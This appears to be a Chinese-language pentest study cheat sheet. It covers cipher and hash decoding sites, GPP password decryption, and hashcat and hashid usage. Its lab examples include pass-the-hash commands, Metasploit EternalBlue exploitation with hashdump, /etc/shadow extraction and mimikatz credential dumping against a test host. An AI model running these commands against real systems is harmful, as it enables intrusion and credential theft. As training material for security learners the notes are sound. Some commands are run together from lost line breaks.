加解密
置换密码
置换密码,又称换位密码,明文的字母保持相同,但顺序被打乱
在线解密
https://www.quipqiup.com/
ASCII编码
在线解密
http://www.ab126.com/goju/1711.html
MD5
在线网站
https://www.somd5.com/
https://cmd5.com/
ook
在线解密网站
https://www.splitbrain.org/services/ook
brainfuck
+++++ +++++ [->++ +++++ +++<] >++++ +++++ .<+++ [->-- -<]>- --.<+ ++[->
+++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- ---.< +++++ ++++[
->+++ +++++ +<]>+ +++++ .<+++ +[->- ---<] >--.< +++++ +++[- >---- ----<
]>--- --.<+ +++++ ++[-> +++++ +++<] >+.<+ +++[- >++++ <]>+. <+++[ ->---
在线解密
https://www.splitbrain.org/services/ook
base64
用法
echo '1' | base64 加密
echo 'MQo=' | base64 -d 解密
GPP解密
gpp-decrypt
简介
从windows server 2008开始,微软为其活动目录域新增加了20多项组策略首选项(gpp)设置,其中包括通过GPO统一修改客户端账号密码的功能。出于安全的考略,微软使用了强密钥的AES算法来加密下发的密码,但乌龙事件使得微软在其开发者网站上直接公布了该密钥,因此使得安全目标完全破灭。gpp-decrypt既是一个基于泄漏密钥,对加密密码进行解密还原的工具。
操作步骤
1、环境准备
策略首选项功能是Windows 2008 Server引入的,并且08之后的版本都已经打过该漏洞的补丁,所以我选择的实验域控机器为server 2008 R2服务器。
2、创建组策略
(1)在运行中输入,gpmc.msc,进入组策略管理
(2)右击组策略->新建:
(3)右击test->编辑,来到如下位置:
(4)右击 本地用户和组 -> 新建 -> 本地用户:
(5)操作 ->更新,其中设置的密码为hacker*****34
(6)回到组策略管理,设置组策略的对象,添加Domain Computers 到组策略组中:
(7)查看组策略对象test的详细信息
(8)可以看到该组策略对应的ID
(9)至此,组策略配置完成,域内主机重新登录
(10)域内主机重新登录,即可在目录下C:\Windows\SYSVOL\domain\Policies
查看ID相对应的策略。
(11)点击查看:
其中关注点为atS2J6NjOxhhI8ZM5jcwHOGtU2Jc7ryrAbFaqnnuRHs
(12)密码破解
针对此密码,使用kali中自带的命令 gpp-decrypt进行破解:
hash解密
hashID
简介
hashid工具是用来识别不同类型的散列加密,进而判断哈希算法的类型
使用方法
hashid [-h] [-e] [-m] [-j] [-o FILE] [--version] INPUT
参数 | 描述 |
---|---|
INPUT | 待分析的输入(默认是stdin) |
-e,–extended | 列出所有的hash算法(包括加盐的密码) |
-m,–mode | 以相应的hashcat模式输出 |
-j,–join | 以相应的John TheRipper模式输出 |
-o FILE,–outfile FILE | 将输出写入到文件(默认是stdout) |
–help | 显示帮助信息然后退出 |
–version | 显示版本号然后退出 |
示例
示例一
已知一个哈希值为202cb962ac59075b964b07152d234b70。下面使用hashid工具识别该哈希值的类型,执行命令如下所示:
hashid 202cb962ac59075b964b07152d234b70
从输出信息的第一行可以看到,正在对该哈希值进行分析识别,下面的输出信息是分析后可能的哈希算法类型
示例二
示例三
hash-identifier
简介
一款判断hash值的加密类型的工具
示例
1、首先生成MD5值
2、判断类型
hashcat
简介
hashcat是一款自称为世界上最快的密码破解工具。
**
常用命令
-m 指定哈希类型
-a 指定破解模式
-V 查看版本信息
-o 将输出结果储存到指定文件
--force 忽略警告
--show 仅显示破解的hash密码和对应的明文
--remove 从源文件中删除破解成功的hash
--username 忽略hash表中的用户名
-b 测试计算机破解速度和相关硬件信息
-O 限制密码长度
-T 设置线程数
-r 使用规则文件
-1 自定义字符集 -1 0123asd ?1={0123asd}
-2 自定义字符集 -2 0123asd ?2={0123asd}
-3 自定义字符集 -3 0123asd ?3={0123asd}
-i 启用增量破解模式
--increment-min 设置密码最小长度
--increment-max 设置密码最大长度
hashcat破解模式介绍
0 straight 字典破解
1 combination 将字典中密码进行组合(1 2>11 22 12 21)
3 brute-force 使用指定掩码破解
6 Hybrid Wordlist + Mask 字典+掩码破解
7 Hybrid Mask + Wordlist 掩码+字典破解
hashcat集成的字符集
?l 代表小写字母
?u 代表大写字母
?d 代表数字
?s 代表特殊字符
?a 代表大小写字母、数字以及特殊字符
?b 0x00-0xff
示例
1、使用字典爆破
hashcat -a 0 21232f297a57a5a743894a0e4a801fc3 /usr/share/wordlists/rockyou.txt --force
2、使用指定字符集进行破解
hashcat -a 3 63a9f0ea7bb98050796b649e85481845 ?l?l?l?l --force
3、使用字典+掩码进行破解
hashcat -a 6 1844156d4166d94387f1a4ad031ca5fa /usr/share/wordlists/rockyou.txt ?d?d?d --force
PtH
简介
passing the hash,中文一般翻译为hash传递攻击,在windows系统中,系统通常不会存储用户登录密码,而是存储密码的哈希值,在我们远程登录系统的时候,实际上向远程传递的就是密码的hash值。当攻击者获取了存储在计算机上的用户名和密码的hash值的时候,他虽然不知道密码值,但是仍然可以通过直接连接远程主机,通过传送密码的hash值来达到登录的目的。
使用
pth攻击分为两步:
(1)提取hash假如攻击者入侵了一台机器,他可以直接提取受害主机的hash值,也可以提取与受害主机处于同一网络中的其他主机的hash值。
(2)利用hash接着就是利用获取到的hash来登录到受害主机或者其他主机。NTLM协议是一套微软安全协议,为用户提供身份验证,完整性和机密性。NT hash值是16字节大小的字符串,是通过MD4算法对密码加密所得到的。
示例
示例一(pth-winexe)
(1)使用永恒之蓝漏洞得到目标主机的hash值
search ms17_010use exploit/windows/smb/ms17_010_eternalblueset rhosts 172.16.20.16runhashdump
(2)使用Pth-winexe借助哈希执行程序得到一个cmdshell
(3)pth-winexe -U [option]... //HOST COMMAND
示例二(PTH-smbclient)
PTH是kali中内置的一款工具包,我们稍后会讲到它,它也可以对SMB服务发起pth攻击。同样,也是需要设置基本参数信息,域,用户名 ,IP地址和密码。
pth-smbclient -U ignite/Administrator%00000000000000000000000000000000:32ed87bdb5fdc5e9cba88547376818d4 //172.16.20.16/c$
示例三(pth-wmic)
WMI接口,即wmic。无需安装,kali内置。直接从终端中输入命令运行即可,提供域,用户名,hash值,IP地址以及要执行的命令等参数,不过有一点要注意,此方法只能执行一些WMI命令,无法执行其他命令。本次测试中,我们尝试获取靶机的用户列表,命令如下:
pth-wmic -U ignite/Administrator%00000000000000000000000000000000:32ed87bdb5fdc5e9cba88547376818d4 //172.16.20.16 "select Name from Win32_UserAccount"
配置文件解密
johnny
简介
jonny用法都是非常简单的,和“john”密码攻击工具功能几乎是一样的。只不过此工具是以图形界面操作。另一个却是以命令方式来操作。
示例
(1)打开终端输入johnny,启动软件
(2)添加测试账户,需要超级管理员
su rootcd /homeuseradd testpasswd test
(3)合并账户到mypasswd文件中
unshadow /etc/passwd /etc/shadow > mypasswd
(4) 用Johnny打开mypasswd文件,解析即可
密码抓取
mimikatz
只能获取到加密后的密码
Linux
示例
(1)打开msfconsole
(2)首先获取一个meterpreter会话,从输出的信息中,可以看到获取到了一个与172.16.20.16主机的远程会话。
search ms17_010use exploit/windows/smb/ms17_010_eternalblueset rhosts 172.16.20.16run
(3)确认目标用户的权限。执行命令如下所示:
getuid
从输出信息中,可以看到当前用户已经是系统权限。此时,就可以进行其他操作了。
(4)加载mimikatz模块。
(5)查看mimikatz模块下有效的命令。执行命令如下所示:
meterpreter > help
执行以上命令后,会输出大量的信息。其中,在Meterpreter中所有的命令都已分类。这里主要介绍下mimikatz相关的命令,如下所示
以上输出信息显示了可执行的Mimikatz命令。回复kerberos信息、livessp信息和哈希信息
(6) 获取kerberos(网络认证协议),从输出信息中可以看到哈希加密的原始密码。从一下信息中,可以看到john用户的密码123456
(7)恢复哈希密码
(8) 获取wdigest(摘要式身份验证)
(9)恢复livessp身份验证信息
(10)获取sam